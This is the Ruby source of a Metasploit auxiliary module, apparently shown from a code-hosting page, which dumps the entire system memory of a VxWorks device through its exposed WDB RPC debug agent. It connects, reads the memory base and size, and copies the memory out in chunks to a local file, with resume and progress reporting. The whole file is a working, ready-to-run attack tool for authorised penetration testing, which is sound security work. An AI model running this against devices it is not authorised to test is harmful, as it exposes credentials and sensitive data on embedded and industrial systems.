h00die
d5ba1afbec
fix URLs not resolving add csv export to references fix URLs not resolving pdf not pd missed a url change remove extra recirectedfrom fields remove extra file fix ovftool url accidental replacement
106 lines
3.0 KiB
Ruby
106 lines
3.0 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Auxiliary
|
|
include Msf::Exploit::Remote::WDBRPC_Client
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'VxWorks WDB Agent Remote Memory Dump',
|
|
'Description' => %q{
|
|
This module provides the ability to dump the system memory of a VxWorks target through WDBRPC
|
|
},
|
|
'Author' => [ 'hdm'],
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
['OSVDB', '66842'],
|
|
['URL', 'https://www.rapid7.com/blog/post/2010/08/02/new-vxworks-vulnerabilities/'],
|
|
['US-CERT-VU', '362332']
|
|
],
|
|
'Actions' =>
|
|
[
|
|
['Download', 'Description' => 'Dump system memory']
|
|
],
|
|
'DefaultAction' => 'Download'
|
|
))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('LPATH',
|
|
[
|
|
true,
|
|
"The local filename to store the dumped memory",
|
|
::File.join(Msf::Config.log_directory, "vxworks_memory.dmp")
|
|
]
|
|
),
|
|
OptInt.new('OFFSET', [ true, "The starting offset to read the memory dump (hex allowed)", 0 ])
|
|
])
|
|
end
|
|
|
|
def run
|
|
offset = datastore['OFFSET'].to_i
|
|
print_status("Attempting to dump system memory, starting at offset 0x%02x" % offset)
|
|
|
|
wdbrpc_client_connect
|
|
|
|
if not @wdbrpc_info[:rt_vers]
|
|
print_error("No response to connection request")
|
|
return
|
|
end
|
|
|
|
membase = @wdbrpc_info[:rt_membase]
|
|
memsize = @wdbrpc_info[:rt_memsize]
|
|
mtu = @wdbrpc_info[:agent_mtu]
|
|
|
|
print_status("Dumping #{"0x%.8x" % memsize} bytes from base address #{"0x%.8x" % membase} at offset #{"0x%.8x" % offset}...")
|
|
|
|
lfd = nil
|
|
if offset != 0
|
|
begin
|
|
# Turns out ruby's implementation of seek with "ab" mode is all kind of busted.
|
|
lfd = ::File.open(datastore['LPATH'], "r+b")
|
|
lfd.seek(offset)
|
|
rescue Errno::ENOENT
|
|
print_error("Unable to open existing dump! Writing a new file instead of resuming...")
|
|
lfd = ::File.open(datastore['LPATH'], "wb")
|
|
end
|
|
else
|
|
lfd = ::File.open(datastore['LPATH'], "wb")
|
|
end
|
|
|
|
mtu -= 80
|
|
idx = offset
|
|
lpt = 0.00
|
|
sts = Time.now.to_f
|
|
|
|
|
|
while (idx < memsize)
|
|
buff = wdbrpc_client_memread(membase + idx, mtu)
|
|
if not buff
|
|
print_error("Failed to download data at offset #{"0x%.8x" % idx}")
|
|
return
|
|
end
|
|
|
|
idx += buff.length
|
|
lfd.write(buff)
|
|
|
|
pct = ((idx / memsize.to_f) * 10000).to_i
|
|
pct = pct / 100.0
|
|
|
|
if pct != lpt
|
|
eta = Time.at(Time.now.to_f + (((Time.now.to_f - sts) / pct) * (100.0 - pct)))
|
|
print_status("[ #{sprintf("%.2d", pct)} % ] Downloaded #{"0x%.8x" % idx} of #{"0x%.8x" % memsize} bytes (complete at #{eta.to_s})")
|
|
lpt = pct
|
|
end
|
|
end
|
|
|
|
lfd.close
|
|
|
|
print_status("Dumped #{"0x%.8x" % idx} bytes.")
|
|
wdbrpc_client_disconnect
|
|
end
|
|
end
|